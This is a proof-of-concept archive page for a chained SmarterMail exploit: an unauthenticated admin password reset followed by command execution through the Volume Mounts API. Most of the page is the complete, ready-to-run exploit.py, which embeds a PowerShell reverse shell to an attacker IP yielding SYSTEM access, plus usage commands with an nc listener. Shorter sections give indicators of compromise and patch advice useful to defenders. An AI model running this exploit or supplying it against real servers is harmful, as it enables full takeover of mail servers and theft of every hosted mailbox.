PoC Archive PoC Archive
Critical CVE-2025-52691 patched

SmarterMail Auth Bypass via Password Reset to Pre-Auth RCE (CVE-2025-52691 / WT-2026-0001)

by ninjazan420 (chained with watchTowr Labs' original CVE-2025-52691 / WT-2026-0001 research) · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-52691
Category
web
Affected product
SmarterMail (SmarterTools webmail/mail server)
Affected versions
Build 9406 and earlier / Build 16.3.6989.16341 and earlier (CVE-2025-52691, fixed in Build 9413); auth-bypass component (WT-2026-0001) affects builds up to 9510, fixed in Build 9511
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherninjazan420 (chained with watchTowr Labs’ original CVE-2025-52691 / WT-2026-0001 research)
CVE / AdvisoryCVE-2025-52691
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD)
StatusWeaponized
Tagssmartermail, smartertools, webmail, authentication-bypass, password-reset, rce, volume-mounts, pre-auth, watchtowr, python
RelatedWT-2026-0001 (SmarterMail authentication bypass via password reset, no CVE assigned)

Affected Target

FieldValue
Software / SystemSmarterMail (SmarterTools webmail/mail server)
Versions AffectedBuild 9406 and earlier / Build 16.3.6989.16341 and earlier (CVE-2025-52691, fixed in Build 9413); auth-bypass component (WT-2026-0001) affects builds up to 9510, fixed in Build 9511
Language / PlatformPython 3 PoC targeting a Windows-hosted SmarterMail web/API service
Authentication RequiredNo (pre-authentication chain)
Network Access RequiredYes (HTTP/HTTPS to the SmarterMail management API, default port 9998)

Summary

This PoC chains two SmarterMail vulnerabilities into a single pre-authentication-to-RCE exploit. First (WT-2026-0001), the /api/v1/auth/force-reset-password endpoint accepts a password-reset request that sets a new password for an arbitrary (including sysadmin) account without validating the caller’s identity or the supplied OldPassword — the endpoint trusts client-supplied IsSysAdmin/Username fields rather than verifying an authenticated session or a legitimate reset token. Second (CVE-2025-52691), once authenticated as admin, SmarterMail’s “Volume Mounts” settings feature lets an admin register an arbitrary OS command to run under the service’s (SYSTEM) privileges, providing direct remote code execution. The PoC (exploit.py) automates all three steps: reset the admin password, log in with it, and create a malicious volume mount containing a PowerShell reverse-shell command, yielding a SYSTEM shell on the target.


Vulnerability Details

Root Cause

Phase 1 — Auth bypass (WT-2026-0001): the force-reset-password endpoint performs no server-side verification that the caller is already authenticated or possesses the current password before applying a new one; it merely accepts JSON fields describing what account to reset:

1
2
3
4
5
6
7
8
9
url = f"{self.base_url}/api/v1/auth/force-reset-password"
payload = {
    "IsSysAdmin": "true",
    "OldPassword": "dummy",
    "Username": self.admin_username,
    "NewPassword": self.new_password,
    "ConfirmPassword": self.new_password
}
response = self.session.post(url, json=payload, timeout=30)

Sending an arbitrary OldPassword (“dummy”) still results in a successful reset because the server never checks it against the account’s real current password.

Phase 3 — RCE (CVE-2025-52691): the /api/v1/settings/volume-mounts API allows a (now-authenticated) admin to define a mount of "type": "command" whose command field is executed directly by the SmarterMail service process, with no restriction to legitimate mount operations:

1
2
3
4
5
6
7
8
volume_mount_data = {
    "name": volume_name,
    "path": f"C:\\Temp\\{volume_name}",
    "command": reverse_shell_cmd,
    "enabled": True,
    "type": "command"
}
response = self.session.post(f"{self.base_url}/api/v1/settings/volume-mounts", json=volume_mount_data, timeout=30)

Because the SmarterMail service typically runs as SYSTEM on Windows, the injected command executes with SYSTEM privileges.

Attack Vector

  1. Phase 1 — Authentication bypass: POST to /api/v1/auth/force-reset-password with IsSysAdmin: "true", a target Username (default admin), a bogus OldPassword, and an attacker-chosen NewPassword/ConfirmPassword. The server resets the account’s password without validating the old one.
  2. Phase 2 — Admin login: POST the new credentials to /api/v1/auth/login; the server returns a session/bearer token used for subsequent authenticated API calls.
  3. Phase 3 — RCE via Volume Mounts: POST to /api/v1/settings/volume-mounts creating a type: "command" mount whose command is a PowerShell one-liner that opens a TCP reverse shell to an attacker-controlled IP:port.
  4. Shell delivery: SmarterMail executes the mount’s command, and the attacker’s waiting nc -lvnp <port> listener receives an interactive SYSTEM shell.

Impact

An unauthenticated remote attacker can fully compromise a SmarterMail server: take over the sysadmin account, then achieve remote code execution as SYSTEM — enabling complete control of the mail server, access to all hosted mailboxes, lateral movement into the internal network, and persistent backdoor installation.


Environment / Lab Setup

Target:   SmarterMail Build 9406 or earlier (or Build 16.3.6989.16341 or earlier) /
          any build up to 9510 for the WT-2026-0001 auth-bypass component,
          management API reachable on TCP/9998 (default)
Attacker: Python 3.6+, pip package: requests
          netcat (nc) for the reverse-shell listener
          curl (optional, for manual target/version checks)
          Linux/macOS/Windows(WSL)

Proof of Concept

PoC Script

See exploit.py, run_exploit.sh, setup_venv.sh, activate_exploit.sh, deactivate_exploit.sh, and config/default_config.json / config/user_config.json in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
nc -lvnp 4444

python3 exploit.py -H http://TARGET -P 9998 -A ATTACKER_IP -p 4444

python3 exploit.py \
  -H http://TARGET \
  -P 9998 \
  -A ATTACKER_IP \
  -p 4444 \
  -d \
  --admin-username admin \
  --new-password "MySecurePassword123!"

chmod +x run_exploit.sh
./run_exploit.sh --auto

On success the target’s admin password is set to the attacker-chosen value and a SYSTEM-level PowerShell reverse shell connects back to ATTACKER_IP:4444.


Detection & Indicators of Compromise

Signs of compromise:

  • Sysadmin password changed with no corresponding legitimate password-reset request from IT staff
  • New or modified Volume Mount entries of type “command” in SmarterMail settings
  • Unexpected powershell.exe/cmd.exe child processes spawned by the SmarterMail service (SYSTEM) with outbound network connections
  • New unauthorized administrator sessions or SmarterMail admin panel logins from unfamiliar IPs

Remediation

ActionDetail
Primary fixUpgrade SmarterMail to Build 9413 or later (fixes CVE-2025-52691 pre-auth RCE) and to Build 9511 or later (fixes the WT-2026-0001 password-reset authentication bypass)
Interim mitigationRestrict network access to the SmarterMail management API (port 9998) to trusted administrative hosts only; disable or tightly restrict the Volume Mounts feature; monitor for unauthenticated calls to /api/v1/auth/force-reset-password; rotate all admin credentials after patching

References


Notes

Mirrored from https://github.com/ninjazan420/CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001 on 2026-07-06. This tool combines the author’s own implementation of the WT-2026-0001 auth-bypass with the previously disclosed CVE-2025-52691 RCE technique from watchTowr Labs; the 3-phase attack (auth-bypass, admin login, RCE via Volume Mounts) matches watchTowr’s disclosed technical details.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
#!/usr/bin/env python3
"""
CVE-2025-52691 / WT-2026-0001 SmarterMail Exploit
===================================================

A comprehensive exploit for SmarterMail that combines:
1. WT-2026-0001: Authentication bypass via password reset
2. RCE through Volume Mounts functionality

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691

Author: ninjazan420
Target: SmarterMail Build 9406 and earlier, Build 16.3.6989.16341 and earlier
CVE: CVE-2025-52691 (Pre-Auth RCE) + WT-2026-0001 (Auth Bypass)

DISCLAIMER: This tool is for educational and authorized testing purposes only.
Unauthorized use is illegal and unethical.
"""

import argparse
import requests
import json
import random
import string
import time
import sys
import os
import subprocess
from urllib.parse import urljoin
from datetime import datetime

class SmarterMailExploit:
    def __init__(self, target_host, target_port=9998, debug=False):
        self.target_host = target_host.rstrip('/')
        self.target_port = target_port
        self.base_url = f"{self.target_host}:{self.target_port}"
        self.debug = debug
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        
        # Disable SSL warnings
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        
        self.admin_username = "admin"
        self.new_password = "NewPassword123!@#"
        self.session_token = None
        self.venv_python = self._get_venv_python()
    
    def _get_venv_python(self):
        """Get Python executable from virtual environment if available"""
        # Check if we're in a virtual environment
        if hasattr(sys, 'real_prefix') or (hasattr(sys, 'base_prefix') and sys.base_prefix != sys.prefix):
            return sys.executable
        
        # Check for common virtual environment paths
        venv_paths = [
            os.path.join(os.getcwd(), 'venv', 'bin', 'python'),
            os.path.join(os.getcwd(), '.venv', 'bin', 'python'),
            os.path.join(os.getcwd(), 'env', 'bin', 'python'),
        ]
        
        for path in venv_paths:
            if os.path.exists(path):
                return path
        
        # Fall back to system python
        return sys.executable
        
    def log(self, message, level="INFO"):
        """Log messages with timestamp"""
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        if level == "DEBUG" and not self.debug:
            return
            
        print(f"[{timestamp}] [{level}] {message}")
        
    def test_connection(self):
        """Test if target is reachable"""
        try:
            response = self.session.get(f"{self.base_url}/", timeout=10)
            if response.status_code == 200:
                self.log("Target is reachable", "SUCCESS")
                return True
            else:
                self.log(f"Target responded with status code: {response.status_code}", "WARNING")
                return False
        except Exception as e:
            self.log(f"Connection failed: {str(e)}", "ERROR")
            return False
    
    def phase1_auth_bypass(self):
        """
        Phase 1: Authentication bypass via WT-2026-0001
        Reset admin password without authentication
        """
        self.log("Starting Phase 1: Authentication bypass", "INFO")
        
        url = f"{self.base_url}/api/v1/auth/force-reset-password"
        
        payload = {
            "IsSysAdmin": "true",
            "OldPassword": "dummy",
            "Username": self.admin_username,
            "NewPassword": self.new_password,
            "ConfirmPassword": self.new_password
        }
        
        try:
            response = self.session.post(
                url,
                json=payload,
                timeout=30
            )
            
            if response.status_code == 200:
                result = response.json()
                if result.get('success'):
                    self.log("Admin password successfully changed", "SUCCESS")
                    self.log(f"New password: {self.new_password}", "DEBUG")
                    return True
                else:
                    self.log(f"Password reset failed: {result.get('message', 'Unknown error')}", "ERROR")
                    return False
            else:
                self.log(f"Unexpected response code: {response.status_code}", "ERROR")
                if self.debug:
                    self.log(f"Response: {response.text}", "DEBUG")
                return False
                
        except Exception as e:
            self.log(f"Phase 1 failed: {str(e)}", "ERROR")
            return False
    
    def phase2_admin_login(self):
        """
        Phase 2: Login as admin with new password
        """
        self.log("Starting Phase 2: Admin login", "INFO")
        
        url = f"{self.base_url}/api/v1/auth/login"
        
        payload = {
            "username": self.admin_username,
            "password": self.new_password
        }
        
        try:
            response = self.session.post(
                url,
                json=payload,
                timeout=30
            )
            
            if response.status_code == 200:
                result = response.json()
                if result.get('success'):
                    self.session_token = result.get('token', '')
                    self.session.headers.update({
                        'Authorization': f'Bearer {self.session_token}'
                    })
                    self.log("Successfully logged in as admin", "SUCCESS")
                    return True
                else:
                    self.log(f"Login failed: {result.get('message', 'Unknown error')}", "ERROR")
                    return False
            else:
                self.log(f"Login failed with status code: {response.status_code}", "ERROR")
                if self.debug:
                    self.log(f"Response: {response.text}", "DEBUG")
                return False
                
        except Exception as e:
            self.log(f"Phase 2 failed: {str(e)}", "ERROR")
            return False
    
    def phase3_rce_via_volume_mounts(self, attacker_ip, attacker_port):
        """
        Phase 3: RCE through Volume Mounts functionality
        Create a volume mount with reverse shell command
        """
        self.log("Starting Phase 3: RCE via Volume Mounts", "INFO")
        
        # Generate random volume name
        volume_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
        
        # PowerShell reverse shell command
        reverse_shell_cmd = f'cmd.exe /c "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient(\'{attacker_ip}\', {attacker_port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\""'
        
        volume_mount_data = {
            "name": volume_name,
            "path": f"C:\\Temp\\{volume_name}",
            "command": reverse_shell_cmd,
            "enabled": True,
            "type": "command"
        }
        
        url = f"{self.base_url}/api/v1/settings/volume-mounts"
        
        try:
            response = self.session.post(
                url,
                json=volume_mount_data,
                timeout=30
            )
            
            if response.status_code == 200 or response.status_code == 201:
                result = response.json()
                self.log(f"Volume mount '{volume_name}' created successfully", "SUCCESS")
                self.log(f"Reverse shell command executed", "INFO")
                self.log(f"Connect to {attacker_ip}:{attacker_port} to get shell", "INFO")
                return True
            else:
                self.log(f"Volume mount creation failed with status code: {response.status_code}", "ERROR")
                if self.debug:
                    self.log(f"Response: {response.text}", "DEBUG")
                return False
                
        except Exception as e:
            self.log(f"Phase 3 failed: {str(e)}", "ERROR")
            return False
    
    def verify_exploit_success(self):
        """Verify if exploit was successful"""
        self.log("Verifying exploit success", "INFO")
        
        try:
            # Check if we can access admin panel
            response = self.session.get(f"{self.base_url}/admin", timeout=10)
            if response.status_code == 200:
                self.log("Admin panel accessible - exploit successful!", "SUCCESS")
                return True
            else:
                self.log("Admin panel not accessible", "WARNING")
                return False
        except Exception as e:
            self.log(f"Verification failed: {str(e)}", "ERROR")
            return False
    
    def run_exploit(self, attacker_ip, attacker_port):
        """Run the complete exploit"""
        self.log("=" * 60, "INFO")
        self.log("CVE-2025-52691 / WT-2026-0001 SmarterMail Exploit", "INFO")
        self.log("=" * 60, "INFO")
        self.log(f"Target: {self.base_url}", "INFO")
        self.log(f"Attacker IP: {attacker_ip}", "INFO")
        self.log(f"Attacker Port: {attacker_port}", "INFO")
        self.log("=" * 60, "INFO")
        
        # Test connection
        if not self.test_connection():
            self.log("Target unreachable - aborting", "ERROR")
            return False
        
        # Phase 1: Auth bypass
        if not self.phase1_auth_bypass():
            self.log("Phase 1 failed - aborting", "ERROR")
            return False
        
        # Phase 2: Admin login
        if not self.phase2_admin_login():
            self.log("Phase 2 failed - aborting", "ERROR")
            return False
        
        # Phase 3: RCE
        if not self.phase3_rce_via_volume_mounts(attacker_ip, attacker_port):
            self.log("Phase 3 failed - aborting", "ERROR")
            return False
        
        # Verify success
        if self.verify_exploit_success():
            self.log("=" * 60, "SUCCESS")
            self.log("EXPLOIT SUCCESSFUL!", "SUCCESS")
            self.log("=" * 60, "SUCCESS")
            self.log("You should now have a SYSTEM shell on the target", "INFO")
            self.log(f"Connect to {attacker_ip}:{attacker_port}", "INFO")
            return True
        else:
            self.log("Exploit verification failed", "ERROR")
            return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-52691 / WT-2026-0001 SmarterMail Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
  python3 exploit.py -H https://smartermail.target.com -P 443 -A 10.0.0.1 -p 8080 -d

Legal Notice:
  This tool is for educational and authorized testing purposes only.
  Unauthorized use is illegal and unethical.
  Users are responsible for complying with all applicable laws.
        """
    )
    
    parser.add_argument('-H', '--host', required=True, 
                       help='Target host (e.g., http://192.168.1.100)')
    parser.add_argument('-P', '--port', type=int, default=9998,
                       help='Target port (default: 9998)')
    parser.add_argument('-A', '--attacker-ip', required=True,
                       help='Attacker IP for reverse shell')
    parser.add_argument('-p', '--attacker-port', type=int, required=True,
                       help='Attacker port for reverse shell')
    parser.add_argument('-d', '--debug', action='store_true',
                       help='Enable debug output')
    parser.add_argument('--new-password', default='NewPassword123!@#',
                       help='New admin password (default: NewPassword123!@#)')
    parser.add_argument('--admin-username', default='admin',
                       help='Admin username (default: admin)')
    
    args = parser.parse_args()
    
    # Validate target URL
    if not args.host.startswith(('http://', 'https://')):
        print("Error: Target host must start with http:// or https://")
        sys.exit(1)
    
    print("""

    """)
    
    # Create exploit instance
    exploit = SmarterMailExploit(
        target_host=args.host,
        target_port=args.port,
        debug=args.debug
    )
    
    # Set custom admin username and password
    exploit.admin_username = args.admin_username
    exploit.new_password = args.new_password
    
    # Run exploit
    success = exploit.run_exploit(args.attacker_ip, args.attacker_port)
    
    if success:
        print("\n🎉 Exploit completed successfully!")
        print(f"🔐 Admin credentials: {args.admin_username}:{args.new_password}")
        print(f"🎯 Connect to {args.attacker_ip}:{args.attacker_port} for shell")
        print(f"🐍 Using Python from: {exploit.venv_python}")
    else:
        print("\n❌ Exploit failed!")
        sys.exit(1)

if __name__ == "__main__":
    main()